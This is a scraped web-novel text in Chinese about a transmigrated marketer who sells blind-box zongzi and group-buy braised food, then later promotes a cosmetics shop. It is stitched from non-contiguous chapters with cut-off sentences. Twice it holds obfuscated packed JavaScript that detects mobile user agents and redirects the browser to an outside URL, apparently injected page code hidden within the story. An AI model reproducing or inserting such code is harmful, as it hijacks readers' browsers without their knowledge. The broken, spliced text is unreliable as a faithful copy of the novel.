《营销大佬她只想退休》 1. 穿越了 《营销大佬她只想退休》全本免费阅读 五更天，凤麟村，天将微明 村子最边缘的一个破土屋外，一个身穿补丁麻衣的六七岁小男孩像个陀螺似的转悠忙活着。小小的人儿有条不紊地洗果子泡米，将一切都弄好后，男孩跑进屋，看着床上紧皱着眉睡得不甚安稳的少女，小手迟疑地戳了戳：“姐姐，快醒醒，咱们今天要去摆摊卖粽子的，再晚就来不及啦！” 冷风从门口灌进来，女孩——莫林知紧了紧身上的破棉被，眼睛艰难睁开一道缝，看到面前瘦的跟小猴子似的男孩，缓了半天才想起来对方是谁，自己在哪。 人在禹朝，昨天刚穿。 别的人穿越是千金小姐金手指，她穿越，一个破房两张嘴。 可怜的原主，父母刚死亲戚夺财，带着弟弟莫林杰在这村子荒废的破屋里艰难求生还双双染上风寒。女孩把仅有的余额给弟弟买了药，自己没扛过去，一命呜呼了。 她也惨，电商公司奋斗12年眼看就要财富自由了，却被一辆凯迪拉克撞来了这里，人生进度条直接拉回起点······ 莫林知叹了口气，蹭蹭弟弟微凉的脸颊，起身洗漱准备赚钱——原身这个弟弟太乖巧可人疼了，就算为了这个孩子，她也得再奋起一把。 这不，正好端午快到了。 电商人最会什么？ 蹭热点。 她昨天立马就找村长借了点粮食，准备先卖卖粽子。 只不过吧，她的粽子，可能有点点出格。 这里流行的都是成人巴掌大小的长龙粽，而她包的就五花八门了，什么三角形、四方形、塔形等等，共9种，每种味道随机，个头不大，莫林杰小小的手掌都能收拢住。 莫林杰蹲在竹篓边看着所谓的“粽子”，小小的脸蛋上眉头越拧越紧：“姐姐，这个真的能卖出去吗？” 莫林知看他这样简直萌死个人，故意苦着脸逗他：“不知道啊，要是卖不掉，就靠你吃掉啦。” 莫林杰一听，顿时急了：“可是我吃掉了怎么还债呀？姐姐，我们别包了吧，剩下的米留着给村长还回去。而且时间也不早了，再包下去就赶不上早集了，更不好卖。” 说着他就要起身把剩下的米收拢。 “哎哎哎哎——”莫林知手上都是食材，只能抬脚轻轻把人勾开。莫林杰猝不及防被拦腰勾起，登时像只猫儿一样挂在了姐姐脚上，不由得瞪大了眼——看着更像只猫儿了。 莫林知忍不住笑弯了眼，都顾不上包粽子。 反应过来的莫林杰：“······” 他气鼓鼓地看着自从醒来后就一直懒懒散散的姐姐，跟奶猫挠人似的拍拍她的腿：“姐姐！你认真点！还不上粮食我们就只能饿死了，我不想你死······”说到最后，带着鼻音的声音里带上了害怕。 莫林知见状，收了脸上的戏谑，神色淡然唇角微勾，温声笑问：“小凡，相信姐姐吗？” 其实她这会子看着也没多认真，但不知怎的，莫林杰竟觉得心里的担忧恐惧慢慢都烟消云散了。 他没回答，用力点了点头。 这批粽子用料不多但个头小，估摸着也有百来个的样子。 莫林知将煮好的粽子用草绳串起，9个一组，晾干水分后一组组堆叠到背篓里，最后盖上保温的稻草，牵着莫林杰的小手出门。 她目标明确，没有去集市，而是直奔私塾。 私塾还没打午休铃，莫林知环顾了一下周围，选了个卖笔墨纸砚的店铺旁，放下竹篓铺开摊子，而后又拎起一串粽子，走到那个店铺门口坐在藤椅上喝茶的掌柜面前，不好意思道：“阿叔，我和弟弟在旁边摆个摊，可能要吵嚷一会儿，如有打扰还请您不要介意。这个是我们自己做的玲珑盲粽，您尝尝？” 那掌柜从她们姐弟俩过来就已经开始观察了。两姐弟一看就是贫苦人家，不过全身上下收拾得还算干净，就挺惹人疼的，没想到这姐姐居然还懂人情世故，当下好感顿生。 掌柜接过粽子，看着就笑了：“这也能算是粽子？过家家呢？” 莫林知摸摸鼻子，也笑了：“所以叫玲珑盲粽。” “哦？那‘盲’字又何解？”老掌柜好奇。 莫林知指了指粽子：“这一串是9个，形状各不相同，味道也各不相同，买到什么口味全看天意，可不就是‘盲选’。” “原来如此。”老掌柜了然点头，过了会儿又摇头，“点子是好点子，但你应该去集市啊，这儿可不好卖吃食。” 莫林杰一听，用力点头。 莫林知呼撸了一下弟弟脑袋，笑而不语，欠了欠身，回摊位了。 她总不好说自己卖的不只是吃食，而是概念包装吧。 当初决定蹭端午节点卖粽子时她就想好了，要做差异化的产品——毕竟自己原料有限，真要拼产品硬实力，说实话，无异以卵击石。 但如果把目标人群换成孩子卖玲珑盲粽，那就值得试试了。 小孩子猎奇，容易接受新鲜玩意儿，不管是粽子的新奇口味还是“抽盲盒”这种玩游戏似的过程，都很容易戳中孩子心理。 这会儿私塾外已经开始聚集来接孩子回家吃饭午休的家长，大多数人都见到了门店旁边的这俩姐弟，但都是瞟了一眼就移开了目光，无人停留。 老掌柜见状，不住摇头惋惜。 就连莫林杰也再次紧张起来，小手抓紧了姐姐的衣摆，往她那边挨了挨。 莫林知轻拍了拍他的脑袋，而后不紧不慢地开始剥粽子，摆成一排，放在阳光下。 五颜六色的粽子在光线衬托下就像镀了水晶一样，艳丽诱人，小巧可爱得紧，引得周围人不由自主多看了两眼。 正此时，私塾铃声响了，没一会儿，孩子的喧闹声由远及近，接着蜂拥似的涌出了大门。 就是现在！ 莫林知扯开嗓子，富有节奏韵律地叫卖：“免费抽粽子咯，玲珑盲粽，好吃又好玩，一口一个不要钱~免费抽粽子咯，好吃又好玩，一口一个不要钱~” 清脆的叫卖声极具穿透力，一下子盖住了所有父母孩童的说话声，回荡在每个人耳边。 什么东西？好吃又好玩？ 嗯？不要钱？ 孩子&家长脑子里不约而同闪过自己抓到的关键字，眼神开始循着声音寻找目标。 没一会儿，莫林知的摊位就被三三两两的围住了。 一群人七嘴八舌地追问： “真的不要钱” “我全要也不要钱吗？” “骗人的吧？这一看就是骗子。” 中间不乏小孩好奇的提问：“这个怎么吃，又怎么玩呢？” 莫林知笑靥如花，咬字清晰地解释：“是这样，这个玲珑盲粽呢一共9种口味，大家随机选9个，如果刚好凑齐不同口味那就不用付钱了，如果没有凑齐，那每个粽子1个铜板，一串就是9个铜板。” 怕他们觉得自己欺诈消费，她连忙补充：“各位哥哥姐姐可以看看，我们家这个粽子都是真材实料的，就是直接卖1个铜板也是划算的，现在是额外给了大家免费的机会。” 众人看前面摆着的样品，觉着也确实不亏。 有孩子已经跃跃欲试，被大人摁住了。 一个年轻婶子问道：“那我可以从其他串上选吗？” 莫林知点头：“可以，随便挑。” “那我来选，我来！”年轻婶子旁的孩子已经迫不及待伸手，从不同串上把每个形状都点了一遍，“这几个，我要这几个。” 莫林知在他点的时候就已经一拉一扯给重新串好了，当下直接递到孩子手上，笑眯眯地：“来，您收好，祝小宝贝旗开得胜。” 那孩子还是第一次听人这么暖呼呼的称自己小宝贝，当下红了脸，一手捏着粽子一手拉着自家阿娘的衣服就往后退。 年轻婶子匆忙扔下9个铜板，嘴里训斥着“跑什么，还没看看凑没凑齐呢，真是幺蛾子不停”，脚下却宠溺地顺着孩子力道往家的方向走。 有了这个好开头，后面嚷着要抽盲粽的孩子更加按捺不住了，纷纷拉着自家爹娘往前挤，有那手快的，已经把自己看中的粽子拢到了手里喊着“快付钱”。 不到两刻钟，一篓子盲粽卖了个精光，有那没买到的，得到莫林知“明天一定多准备”的应承后才一步三回头地离开。 不远处，大开眼界的掌柜情不自禁摸着胡子不住点头。 笑累了的莫林知擦擦汗，拉着莫林杰席地而坐你一个我一个地数铜板，最后两人合计102文，没有人凑齐要求退款的。而成本才不过15文，相当于净赚87文！ 莫林杰不懂百以内的算数，只知道这一堆铜板是前所未有的多，兴奋得脸红扑扑地：“姐姐，我们是不是可以把欠村长的 2. 快团团 《营销大佬她只想退休》全本免费阅读 莫林知出了家门后直奔刚才吃过的那家食肆。 她要去谈一笔生意。 都说巧妇难为无米之炊，莫林知现在就面临这尴尬的境地。作为现代资深吃货&动手达人，她有一百种美食方子发家致富，但问题是，家里无菜无肉，无柴米油盐，仅靠着玲珑盲粽的生意，是远不可能在3天凑够5两银子的。 但好在，她还是一个专业营销人，懂得怎么盘活手头的资源。 刚刚回来带着小凡在这吃东西时她就发现了，这家食肆的卤味很不错，用料便宜的鸡杂都能做得毫无腥气，吃起来酸辣脆口，开胃生津。 马上天气热了，本来没有这一桩事，她想着就利用后山的食材做做清补凉之类的饮品甜汤卖卖，慢慢积累下原始资本，现在么，她决定押宝卤味。 莫林知到了食肆后不急着开口，而是挑了个角落坐下，另要了几种卤味，荤素都有，发现水平均在线，这才招来店家娘子，指着毛豆、花生、鸡杂和鸡脖说：“老板娘，劳烦这四样各给我来5斤，明早要，我过来取，这是3成定金。” “这么多呢？这天可放不住。”老板娘一下子惊了。她可还记得这女娃呢，刚才听这俩姐弟的意思应该是家里没人了，这咋一下买这么多。 “劳您关心，我不是自己吃，而是想和老板娘谈一桩生意。”说着，莫林知反客为主，给对面倒了杯水，手一比，请老板娘坐下。 女人被莫林知那淡定自如的气场唬住，将信将疑地坐了。 “老板娘，说实话，您做的东西是真的好吃，就是客源太固定了一些，限制了营收。但我有客源，所以您看，如果我每天要100斤货物，您最低给我什么价格？” “100斤！！！”老板娘吓了一跳，“闺女，这要是全部砸手里了你可赔不起的。” 闻言，莫林知勾唇：“您如果不放心，我可以和您签卖身契，到时候我拿不出尾款的话用我人来抵。” 她说这话时眉都没动一下，好像抵押的不是自己。 没办法，她现在全身上下也就这具躯壳最值钱了。 老板娘不敢擅作主张，叫来当家的告知情况。 男人一双精明眼将莫林知从头扫视到尾，见人气定神宁半点不虚的样子，略略思虑就答应了。 两人当即签订了契约，明日先要20斤，后日开始每天100斤，定金三成，尾款需在第二日落日前交付。 谈好最大的一笔买卖，莫林知用叶子将剩下没吃完的打包带回给莫林杰，在小孩开心的笑颜中拎了竹篓上山。 毕竟粽子还得继续卖，另外，清补凉也还得继续做，这东西搭配卤味正正好。 莫林知洗叶子加工食材忙忙碌碌到凌晨，仿佛有种回到了双十一战场的错觉。 天刚破晓，她将手上所有东西归拢搬上从村长家借来的板车，然后尽量将自己拾掇得干净一点，叫醒床上睡得奶呼呼的莫林知踏着晨曦出发了。 半道上再顺路接过食肆娘子的卤味。 卤味一来，两人的口水就开始不住分泌——太霸道了这酸辣劲儿。 莫林知先用叶子和树枝给莫林杰夹了一点，让他边走边吃，自己忍一忍，加速赶到了私塾门口。 她今天来得不是一般早，店铺掌柜见了都惊讶了一番，笑道：“怎么？今天来我这儿赶早集了？” 莫林知也笑了，麻利地给掌柜装了份卤味送过去，解释道：“日中天热，卤味不耐放，所以早点来。今天还是要叨扰了。” “没事儿，也就那么一会子。”掌柜不在意地摆摆手。这也不耽误什么事儿，何必把人姐弟俩的路给堵死。再者，他看这姐姐卖货的方法有点意思。 这卤味味道实在诱人，掌柜的没忍住捻起一块吃了，连连点头：“你今天总算卖了点正常吃食了——这个作价几何？” 莫林知勾唇一笑：“不卖，今天白送。” “白送？”掌柜惊讶一瞬，转而想起这女娃昨天的手段，心理存了点期待，等着看她玩什么花样儿。 很快，陆陆续续有人送孩子来上学，见到莫林知姐弟俩，熟稔地围上来： “今天还有那个不要钱的粽子吗？” “哟~还有其他东西呢？这卤味闻着挺香，怎么卖？” “快快快，先给我装一点。” 莫林知没动，吊足了胃口才不紧不慢地说：“卤味今天不卖，这个是感谢大家昨天照顾我们姐弟生意，给了我们一条活路的谢礼。但——想吃的可以提前预定，我给按照您订的分量送过来。” 简单几句话，听得在场人浑身都松快了。 有那精明的，早看穿了这姐姐昨天的伎俩，闻言玩笑道：“你这真是免费送啊？我可什么都不买直接拿了。” 莫林知眨眨眼，一挥手很是豪迈的样子：“拿吧。今日我这小摊就全凭各位哥哥姐姐做主，您要愿意光顾下，粽子还是昨天的价，这个清补凉是2文一份，自带碗具，卤味是真白送，不过每人限领一份。” 她这副落落大方的样子很拉好感，人群中还有叫好的。不过一群大人哪好意思真的白占这姐弟俩便宜，基本一人一串粽子起步，有那宽裕的，直接从旁边买了碗具来盛他们的清补凉。 今日小摊的货物比昨天多，卖得却比昨天还快，很快被瓜分的半点不剩。 有那现场就尝了卤味的没吃够，迫不及待地想预定，被莫林知拦住了：“别着急呀，这卤味预定是有福利的。” 哦？ 众人好奇心被勾起来了，眼巴巴盯着她。 “卤味预定有两种价格，一种是单独购买，素菜10文钱一斤，荤菜20文钱一斤；另一种则是团购价，5人成团，团长每斤便宜2文钱，团员每斤便宜1文钱。” 见他们很多人眼神有点晕，莫林知直接以面前的大姐举例说明：“比如这位姐姐要预定1斤素卤，如果她一个人买，就是10文钱，今天先给我2文，明天我把东西带来给她，她再付我8文即可。但如果姐姐找到了另外4个也想买的人，那就等于成团，姐姐是团长，一斤8文即可，其余人一斤9文钱。每斤的定金还是2文，明天再银货两讫。” 哦~原来如此。 众人不约而同，露出恍然大悟的表情，继而窃窃私语，互相商讨。 他们活了这么多年，还是第一次听说这种卖法，简直闻所未闻。 不过嘛······能便宜谁还会想买贵的呢？再说了，再找4个人而已，又不是什么难事，回家吆喝一声就行了。这么开胃的卤味，就不信他们不好这一口！ 有那急性子的现场就叫开了，问有没有人组团，可结果，大家都没应，因为都想当团长！ 莫林知见状，有点担心“流团”，便拍拍手吸引他们的注意力，一点点给他们把“团长”职责掰扯清楚：“团长多便宜1文钱那是因为他要付定金做担保的。我这儿只和团长对接，后面团长的钱怎么收、东西怎么分发那都是团长的事儿，所以啊，大家还是考虑清楚是不是愿意承担这个风险和麻烦。” 倒也是！ 听她这么一说，有些人的脸上就显露出犹豫不定了。 甭管怎么样，现场开团的、下定的已经叫嚷开了。 很快莫林知手上就收到了十几份订单，她掏出早准备好的木炭，直接在板车上划“正”字一一记录。 还有那不差钱的，直接付了5斤素卤和5斤荤卤的定金，准备回去再慢慢找搭子，找不到就自己吃了。 等到人群全部散去，莫林知手上最终接了100斤素卤和85斤荤卤的单子。 几乎是之前预定的双倍分量！！！ 刨去成本，她1斤素卤赚5文，一斤荤卤赚10文，就是1350文了，还有粽子的220文和清补凉的80文，合计1650文，也就是1.65两。 如果明后天成团数量再多点，那5两基本是没问题的。 胜利有望的莫林知收起铜板，吊了一晚的心终于略略放松了点。 一点不敢耽搁，她冲一脸赞赏地看着自己这边的掌柜遥遥打了个招呼，带着弟弟推着板车回家。 路上，经过食肆时，莫林知顺便进去，跟老板娘追加了单子。 老板娘这一早上本来就在为这姐弟俩担忧，现在听到订单不减反增，震惊得人都傻了，过了好几秒才反应过来，看着眼前的小姑娘，话都说不利索：“真······真订了这么多啊？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12836205|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道你给我打开了一个新世界，但还是感觉心累是怎么回事······” “坚持，数钱的时候就不累了。”莫林知拍拍她的肩膀开玩笑。 “但愿吧。”有气无力地说出这句话，她又挺起来，努力振奋，“套盒这个我和其他人合计合计，明天把结果给你送去，礼盒我也让人去打样，到时候你帮着掌掌眼。” “没问题，我们所有人随时为您效劳。”莫林知冲自己团队划了个圈，然后得到好友一个白眼。 不过至此，初步需要敲定的东西基本都聊完了。莫林知拍拍衣摆上的糕点屑站起身，冲她伸出一只手：“走吧，事情聊完，请你吃火锅~~” “诶，这个可以，走走走，我真的需要赶紧从这个氛围你出逃一会儿。”说到吃，颜丽一蹦三尺高，刚才还奄奄一息，现在立马原地复活。 莫林知见状，真的很无语：“······你真的是我见过最没上进心的创业者。” 她这么一说，颜丽就不认了：“我没上进心能白手起家支起这么大一摊子？分明是你跑太快好不好，又是这又是那的，脑子都晕了·····” “做生意是这样的啊，机不可失失不再来。你算算从咱俩今天合作敲定到下一期《见闻》出炉还有几天，我今晚回去还得熬夜给你写采访稿啥的。”莫林知也很无奈，她也想休息的好不好，“对了，还有我们今天的沟通事项，整理好明天一起给你送过来。” “没问题。所以我们什么时候出发？”颜丽一副“你说啥我都听不进去我只想吃~~~”的样子。 莫林知拿她没办法，只能转头交代晚玉：“你先带着大家回去吧，每个人从自己的岗位职责出发，对今天的沟通写一个观摩总结上来。另外，你和龚煊两人把这次沟通的纪要整理好，一式两份。做完这些你再带着他们去安定大街的火锅店聚一聚，大家熟悉一下，也算我给你们的入职礼物吧。” “是~”晚玉领命，然后领着半边愁苦半边喜悦的大家离开。 另一边，颜丽也给下面的人交代好了，两人挽着手，也不搭乘马车，直接小姊妹逛街似的，从‘丽颜’慢慢晃过去。 此时正午刚过一点，太阳最毒的时候，两人走了一会儿就发现对方的鬓毛都湿了，端得一副狼狈相。颜丽更惨，她还带着妆，被细密的汗珠一弄，妆面都有点斑驳了。 两人临时找了个冷饮铺子，一人点了两杯喝的，然后跟店家借了点水，颜丽用帕子沾着水，一点点把妆容打理干净。 看着她弄的时候，莫林知突然后知后觉反应过来——古代的妆面，大多直接以米粉/铅粉调制的“粉英”打底，所以，她们是没有粉底和散粉这么细致的划分的，相对来说，不管是底妆的种类还是定妆的效果，也远远不如现代。 如果‘丽颜’能够将这个做出来······那几乎是重新开辟了一个美妆新赛道。 想到那时候的场景，莫林知的眼睛越来越亮、越来越亮······吓了颜丽一跳。 她稍稍后仰拉开两人的距离，而后谨慎开口：“你······又想坑谁了？” 48. 火锅局 她这话说的，莫林知都不想白送她一个金点子了。默默运气半晌，最后还是看在朋友一场的面子上，决定不计较：“你好了吗？好了我们赶紧走，到火锅店坐下来慢慢聊。” “等下，我还差左边眉毛。” 左边眉毛？不是挺好的。莫林知左看右看也没看出什么问题来，干脆抢过她手上的水一放，拉着人就往外走：“我看没啥问题，美若天仙，真的。赶紧走吧，灵感可不等人。” “等等，我的冷饮，冷饮！！！”颜丽一边被迫往外挪一边伸手去够桌上的竹筒 莫林知这才想起，她也还没喝完。 于是两人匆忙又回了座位，端起剩下那筒没喝完的冷饮离开。 匆匆忙忙的赶到火锅店，一进入大门，颜丽就跟活过来似的，舒爽叹一大口气：“就是这感觉，太舒服了，感觉自己跟朵花似的，浑身都张开了~~~” 店里还没到热闹的点，上座率不到20%，吴大掌柜没料到她会突然过来，连忙迎上来：“莫管事，您还是大堂？” “不，给我个私密性好的包间，和朋友聊点事儿。顺便，晚上留一个10来人的大桌，晚玉会带着人过来，记我账上。” “好嘞~您和您朋友请跟我来~”吴掌柜笑眯眯地应了，带着两人往楼上走。 莫林知坐下后，将菜单递给了颜丽，她也不客气，直接把想吃的都点了，等小二走了，又舒爽地长叹了一声：“真好~我感觉今年做得最对的事情就是那天灵光一闪，投了个价值700两的信函，这不，交了一个朋友不说，还免费蹭了一顿火锅。你都不知道，你这家店，自从这个什么干冰出现后，我就再没排上位置过！！！” “哪有这么夸张，你要是天天这个点来，喏，楼上楼下随你坐~” 颜丽翻了个白眼：“我也是有家业的人，今天这不是要给你这个合作伙伴的面子么~~~” 呵呵！她其实更想省着一笔钱······ 莫林知白眼翻回去，懒得戳穿她。 菜很快上来，莫林知挥退小二，给两人都舀了碗汤，这才慢悠悠开口：“我是想说，你考不考虑研发一下新的产品？” “比如？” “emmmm比如流汗也不会妆花的粉英，比如更接近自然肤色，还能遮瑕的东西。”莫林知说了个开头，见她挺感兴趣的样子，便假借“古籍”之名，给她讲了讲粉底和散粉的功效以及制作方法。 当然，具体的实操莫林知是没做过的，也就是以前接美妆客户的时候，大概了解过一些产品的成分和大致流程。现在嘛，抱着“反正试试也没损失，万一撞到死耗子”的想法，她将自己一知半解的东西坦言告之了。 末了，还不忘补一句：“你也可以当我瞎说说的，毕竟能不能成我真的半点不敢保证。” “那我试试，到时候有进展跟你说一下。”颜丽看起来也很寻常地答应了。 只不过，莫林知的没把握是真的，她的寻常态度是装的而已。 自打下午亲眼见识过莫林知在宏观大局和细微小节上的把控能力后，颜丽是真的把她和神基本捧到了同等位置。 甚至想想往年在财神庙扔的钱都有点心疼——求什么财神啊，求了这么久还不是被‘悦容庄’打压得毫无翻身之地。有这个钱，还不如直接扔给莫林知呢。 所以，莫林知一说这两个产品，她听得很仔细，决定回去就让人备好材料好好研究研究。只不过，看莫林知一副怕担责任的样子，所以压住了心里的激动而已。 她懂对方的想法。估计是怕自己期望太高，最后万一不成功，可能会埋怨她，影响了两人之间的友谊。 对此，颜丽只能说：对方还是太小看她了。想她流落北境后能凭一己之力在定安城扎根，这中间见过的人性百态，只怕比莫林知脑子里那些天赋异禀的点子还多。 不过没关系，毕竟认识的时间短，等以后熟了就好了。 颜丽咬了一口弹嫩鲜香的虾滑，转而聊起了别的：“说起来，你后面出门最好还是小心点，别自己走夜路。” “？”莫林知微微皱眉，“不至于吧？” “现在是不至于，也就开酒楼的关注到你了吧，但是，我看你这架势，也不像是只冲着酒楼下手的样子，所以啊······小心为上。”颜丽说着，筷子点了她两下，“别风浪太大，一不留神，把自己给淹了。” 莫林知没说话，紧皱着眉半晌，慢慢点了下头。 她觉得自己可能还是太想当然了，觉得这是现代法治社会，商业竞争而已，哪用得着伤及人命。但······不管怎么说，对方提醒得没错，多留个心眼总是好的。 有道是君子不利于危墙之下嘛~ “对了，你这干冰卖吗？要不分我一点？反正我这跟你的酒楼也没啥直接竞争关系嘛~” 莫林知微微摇头，也一脸遗憾：“目前产量跟不上，不然谁会把银子往外推。” “好吧······”颜丽失望地收回目光，决定今天在这里多坐一会儿，必须得享受够！！！ 严格来说才第二次见面的两人，聊起天来竟然十分熟稔毫无隔阂。颜丽滔滔不绝地跟莫林知分享自己私藏的护肤大法以及化妆手法，看对面人全程表情平淡，她又挫败又更加不屈不挠，还针对莫林知现在的皮肤状态做针对性的输出。 讲到她眉心那一颗痘痘时，脑子里突然灵光一闪，问了个关键问题：“话说，你有用过我家的产品吗？” 莫林知闻言，筷子一顿，对面颜丽见状，什么都懂了。当即痛心疾首地指控：“你居然都没用过！你太不关心朋友的事业了吧！！！” 不不不，话不是这么说的。莫林知连忙摇头，辩解三连：“我只是不习惯用这些东西而已。而且，我也有好好跟身边人打听你的产品，对你们店铺的产品、效果这些都是知道的好吧！！！” “所以，你也没用过其他店铺的东西？那行吧，原谅你这一次~~” 看着对面大方不计前嫌的人，莫林知心虚地笑了笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12843575|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——她确实没有主动买过，但是如果没记错的话，上次萧衍送的好像就是‘悦容庄’。 而她本着不浪费的优良传统，还是偶尔在用的。 莫林知低头默默吃着菜，心中一遍遍默念“别人的行为与我无关，所以不算撒谎······”。 一顿火锅从中午吃到下午，最后宾主尽欢的两人在颜丽家门口分别。 莫林知回院子休息了一会儿，紧接着继续开始构思专访问题以及第一期的干货切入点。 大约晚上九点多，晚玉也回来了，还带着大家写的观摩感想以及会议纪要。 莫林知放下手中的事情，看起了自己布置的作业。 从整体水平来看，基本都达到了要求，看得出，是有在认真做总结，而且很多总结都写到了点子上，很细节。 比如商务，就针对莫林知当时年框的应对之策做了着重分析。说当时两人在沟通时，他的思绪就一直在“答应”或者“不答应”上打转，没想到还能根据产品线来细分。 还有晚玉，说莫林知给出的七夕礼盒套组的2个思路是她没想到的，然后从自己这个消费者心理视角分析了一下，那种全部都是腮红或者唇彩的套组，顾客群会相对比较窄一点，因为手头宽裕的人才会有心思这么买。然后还举一反三，说这种组合方式，其实也很适合首饰等行业。 看到这里，莫林知毫不吝啬自己的夸赞和惊喜：“很不错，能深入去思考，也能横向去拓展。” 晚玉红着脸，屈膝行了个礼：“都是莫管事您教得好。” “不用妄自菲薄，我可什么也没说，都是你们自己领悟的。”莫林知随口推辞着，然后将看完也批改完的作业交回到晚玉手上：“明天给他们发下去吧。顺便告诉他们，以后都是像今天这样的实战观摩，大家全部都在一个起跑线，能学到多少全看自己。” “是！” 说完这个，莫林知将自己起草的采访稿也给了晚玉：“这个你也看看，有什么想法随时跟我沟通。” 晚玉闻言，期待地接过，然后坐到对面沉浸式地看起来。 莫林知这次就是一个很常规的励志采访稿。前面是颜丽学习这一门技艺的初心啊、契机之类的，以及未来的目标什么的。后面就是纯干货教学，结合了七夕节分享“桃花妆”的教学。 桃花妆，指的是一种面色肤白透红，眼影眼线都以粉调为主，眉心也用桃花钿装点的妆容。但是在干货里，颜丽需要针对不同的脸型、肤质等，给出不同的微调建议以及上妆手法。 晚玉看完后，对这个内容其实没有什么想法，干货教学这块也戳中了她的点，只是······对于版面的安排有一点疑虑：“莫管事，您到时候是想把采访稿作为主要宣传内容放在最核心的位置吗？” 莫林知点头：“是这么安排的没错，怎么？有问题？” “我不确定，只是······从我个人的感受而言，我会更喜欢下面的教学。” 莫林知闻言，若有所思。 49. 麻烦上门 莫林知还是采纳了晚玉的建议，把主要版面都给了干货教程，只在那一页的下方，留了四分之一的版面，介绍了‘丽颜’及其掌柜背后的故事，最后附上了免费领一套试用小样的信息。 为了让内容吸睛一点，她还花大价钱邀请了城内有名的画像师一起前往‘丽颜’，最后，这篇干货，基本是颜丽和画像师两人一起完成的——保证傻子看到了都能上手的那种。 同样，这段时间开始，‘丽颜’上下所有员工都统一采用‘桃花妆’。 莫林知拿到完整版的内容后，提前了3天给印刷坊下印了十几份样品，然后在《见闻》和‘丽颜’内部进行了抢先试阅，就这还不放心，回了王府后，破天荒地主动求见了萧太妃，请她及其身边的侍女一起，参与了内容质量的评定。 当天将所有意见汇总后又经过一轮调整，新一期的《见闻》，终于如期上市。 其实有李程江在，每一期《见闻》都备受期待。这种期待，对比其他话本自然是与众不同的，但是对比《见闻》本身，就有点习以为常了。 很多人的潜意识里就有一种“哇，《见闻》新一期快来了吧，肯定又是无比精彩的故事~~”，就······不够震撼。 但这一次不一样，首先，飞毛腿各个分销点在宣扬的时候打出了“加量不加价”的噱头，其次，就是“十年老师傅教你三步画出桃花妆”的这个点，着实戳到了很多人的需求点上。 原因无他，因为这是不外传的“技艺”。 哪怕是在现代这么先进的时代，各大内容平台运营起来之前，大家也都有很长一段时间，陷在“信息差”里面，很多人都曾或多或少支付过“知识费”，又或者“踩坑费”。 直到第一波人开始进行免费的信息分享，然后带动全行业内卷，造福大众。 在禹朝也是一样，妆容的手法、创新，全都是可以营生，不外传的技艺。尤其是在大户人家，出于身份和场合需要，都会雇佣/豢养一位专门的妆造娘子。 高层和部分特殊群体垄断着这一行业的信息，普通人家的姑娘就算想学，却不得其门而入。 所以《见闻》此举，无疑是率先释放了一种信号——它要打破信息垄断。 当然，这样的行为肯定会损失掉一部分人的利益，可同样的，当某一种技艺从部分人专属变成全社会的广泛行为时，这一门文化，才会真正开始兴盛、繁荣。 是失去，也是推动力。 不过，因为‘丽颜’的根基不稳，也为了给店铺引流，莫林知还是没有把事情做到极致，她让颜丽分享的，只是一些基础的手法。 再说了，脑子会了可不代表手也会，哪怕是现代，多少人都是视频看了一百个结果动起手还是惨不忍睹的····· 所以不管怎么样，最后的结果就是，《见闻》发行第二天，飞毛腿那边接到了几乎双倍的订购订单，尤其是这一期，很多人强烈要求加印！ 莫林知早有预料，接到反馈的第一时间就转给了印刷坊，当天，飞毛腿就将新出炉还带着墨香的《见闻》送到了各家各户。 当然，《见闻》只是一个引子，它实际带来的广告价值才是莫林知最最关心的。所以，在之后的连续5天里，她分别派两名商务前往寻味斋和‘丽颜’进行了结果调研。 反响都表示很不错。 有了前两期火锅的成功推荐，这一次，看到李程江描述的寻味斋吃食，大家都毫不犹豫地组团去刷了，然后发现——确实很惊艳。 虽然价格偏高一点，但是味道和品质是值的，但凡吃过的，都有一种念念不能忘的后遗症。 只不过对于很多家底不够的人来说，它不太适合常来，比较适合当做一种犒赏，比如升职啦加薪啦，又或者家里老人过寿等等。 当然，自然也有那不差钱的，接下来连着10来天都泡在了寻味斋。 吃不腻，是真的吃不腻！！！ 不过，寻味斋的成功就像是前几期的《见闻》一样，是属于意料之中的结果。真正抓眼球的，还是‘丽颜’。 不只是莫林知在关注丽颜，寻味斋掌柜，悦容庄、以及城内其他嗅觉敏锐的商家，都在关注着‘丽颜’。 《见闻》发行当天，‘丽颜’的店铺客流上涨20%，样品消耗五十多份。 发行第二天，‘丽颜’客流环比前7天均值上涨50%，样品消耗两百多份。 发行第三天，‘丽颜’客流涨了70%，样品消耗三百多份。 此后，日流量和样品消耗就一直维持在了第三天的水平。 这是一个相当恐怖的数字，在此之前，整个定安城和美妆市场，基本悦容庄占了60%，丽颜占了30%，剩下10%由其他零零散散的渠道包揽，而现在，至少在粉英、黛笔、胭脂、唇彩这四款单品上，丽颜撬走了悦容庄45%以上的流量。 身下的，基本就是家里不差钱，暂时还看不上丽颜这种新兴品牌的。这波人，是悦容庄的死忠粉，也是悦容庄平日花大价钱维系的客户。除非哪天丽颜站到了和悦容庄同等的位置，否则，是入不了这些人的眼的。 当然，从莫林知定下“平替”这个概念开始，就给丽颜设定的是和悦容庄完全不同的路子。 顶级的客户确实豪奢，但是，也别小看了水滴的力量啊~~~ 如果普通客户的流失真的半点没影响，那悦容庄又何必在第四天紧急推出了一个“七夕送好礼”的活动呢~~~ 